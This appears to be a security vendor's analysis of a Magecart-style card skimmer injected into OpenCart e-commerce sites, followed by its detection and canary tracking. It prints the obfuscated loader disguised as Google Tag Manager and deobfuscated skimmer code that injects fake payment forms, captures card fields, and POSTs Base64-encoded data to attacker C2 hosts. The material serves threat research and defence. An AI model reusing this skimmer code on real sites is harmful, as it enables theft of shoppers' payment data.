We’ve detected a Magecart-style attack targeting the OpenCart CMS platform. The campaign seems to be focused on e-commerce websites in East Asia. Magecart has become a term used synonymously for client-side attacks, originating from Magento + Cart.
How the injection happened
The malicious script is injected directly into the website's landing page. It’s hidden among legitimate third-party integrations like Facebook Pixel, Meta Pixel, and Google Tag Manager. Typical behavior for a client-side attack.
Here’s the snippet that contained the injected malware:
<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
i['Google'+'Analytics'+'Objects']=r;
a=s.createElement(g), m=s.getElementsByTagName(g)[0];
if(i.location['href'].indexOf(i.atob(r)) > 0){
a.async=1;
a.src=''+i.atob(o);
m.parentNode['insertBefore'](a,m);
r=1;
}
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics.com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->
At first glance, it looks like a normal Google Analytics or Tag Manager integration, but it’s not.
The Base64 decoded payload points to:
/tagscart.shop/cdn/analytics.min.js
Once this script loads:
- It creates a <script> element.
- Sets its src to the malicious analytics.min.js.
- Injects into the page before any existing script tags.
Behavior of the malicious script
The script from /tagscart[.]shop/cdn/analytics.min.js was heavily obfuscated.
Some techniques used:
- Hexadecimal character references (0x... indexing)
- Array splitting and dynamic recombination (.split('|'))
- Dangerous use of eval() to execute dynamically decoded code
- Silent execution via try { onLoad(); } catch {}
After deobfuscation
Looking at the most important parts:
// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php'; // Malicious C2 server
var sAdsUrl2 = '//hxjet.pics/g.php'; // Backup C2 server
// #################### FAKE FORM INJECTION ####################
// Standard checkout flow injection
function onTimerStd() {
// ... (omitted for brevity)
var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
vTargetBlocks.insertAdjacentHTML('beforeend', sHtml); // Inject fake form
// Input masking setup
(new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
mask: "9999 9999 9999 99999999", // Credit card formatting
placeHolder: "Valid Card Number"
});
// ... similar for date and CVC fields
}
// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Attach listeners to payment fields
for (var i = 0; i < vPaymentElements.length; ++i) {
var hEl = document.getElementsByName(vPaymentElements[i])[0];
if (hEl) {
hEl.addEventListener('blur', mainListener); // Capture when focus leaves field
hEl.addEventListener('keydown', mainListener); // Capture keystrokes
hEl.addEventListener('paste', mainListener); // Capture pasted data
}
}
// #################### DATA VALIDATION ####################
function mainListener(e) {
var iCodeLength = 3;
try {
if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
iCodeLength = 4 // Adjust validation for Amex cards
} catch (e) {}
// Validation checks before exfiltration
if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
return; // Require minimum CVC length
if (document.getElementsByName('payment[date]')[0].value.length < 7)
return; // Require full expiry date
// ... (data exfiltration logic)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
var xmlhttp = getXmlHttp();
xmlhttp.open('POST', sUrl, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}
function mainListener(e) {
// ... (validation checks)
var sDump = JSON.stringify({
"u": window.location.href, // Capture current URL
"f": vData // Stolen form data
});
sDump = Base64.encode(sDump); // Encode data
iMethod = 1;
sendData(sAdsUrl1, sDump); // Send to first C2
sendData(sAdsUrl2, sDump); // Send to backup C2
}
// #################### FORM HIDING ####################
function onTimerStd() {
// ... (after injection)
var hDiv = document.getElementById('ccAq1TBAY_form_main');
if (hDiv != null) {
hDiv.style.display = 'none' // Hide original payment form
}
// ... (show fake form)
}
Malicious functionality
- Fake payment form injection:
- It dynamically creates a fake credit card form (HTML + CSS).
- The fake form is injected on checkout pages.
- Data collection logic:
- It monitors user input in fields like:
- payment[cc_number]
- payment[date]
- payment[cc_cid]
- It listens to blur, paste, and keydown events.
- It monitors user input in fields like:
- Validation before exfiltration:
- Verifies that card fields look valid (e.g., CVC length, expiry date format).
- Exfiltration via POST request:
- After validation, it Base64-encodes and captures the data (including current page URL) and sends it to:
- //ultracart[.]shop/g.php
- //hxjet.pics/g.php
- After validation, it Base64-encodes and captures the data (including current page URL) and sends it to:
- Form hiding and replacement:
- The original payment form is hidden.
- The fake form is shown instead, styled to look legitimate.
- Input masking:
- Implements a custom InputMask to make inputs "look" professional (e.g., auto-formatting credit card numbers).
Unexpected behavior
Unlike some traditional Magecart attacks, this script does not copy from the clipboard. The users are forced to manually input card details. Also, after the card data is entered, it immediately sends the information to the attacker’s server. Then, it hides the card payment form and asks the user to enter bank transaction details to capture additional sensitive information.
Fake payment page

Fake payment page after card input, rendering the bank detail page

Captured POST request to C2

Base64 data posted

Decoded payload

How we monitor the usage
To track the attack, find how the data is managed or getting used, or where it is getting sold, we tend to use canary tokens to track it. This is what we found:
Interestingly, in most cases, we see usage of the stolen card within the next few days. However, here it took several months.
In this example, we saw two. The first of which on June 18th via a pay-by-phone transaction originating from the US.

A second transaction was made for €47,80 to an unknown vendor.

Tracking these attacks provides us with a better understanding of the people behind them, and how attacking campaigns evolve.
Our detection platform flagged this attack using a combination of:
- Anomalous script behavior: Scripts pretending to be legitimate (Google Analytics / GTM) but pulling from unusual domains.
- Obfuscated JavaScript patterns: Use of dynamic eval, base64 decoding, and suspicious array manipulation.
- Form replacement detection: Watching for injected fake forms on known checkout flows.
Threat domain monitoring: tagscart[.]shop, ultracart[.]shop, and hxjet[.]pics were already flagged in our threat intel feeds
Closing notes
At c/side, we continuously monitor third-party scripts and web assets to detect and prevent client-side attacks like this.
Our detection platform is designed to:
- Identify unauthorized script injections
- Analyze suspicious behavior in real-time
- Block attacks before sensitive customer data can be stolen
By proactively protecting websites from client-side threats, we help businesses safeguard their customers' trust and stay one step ahead of evolving web-based attacks.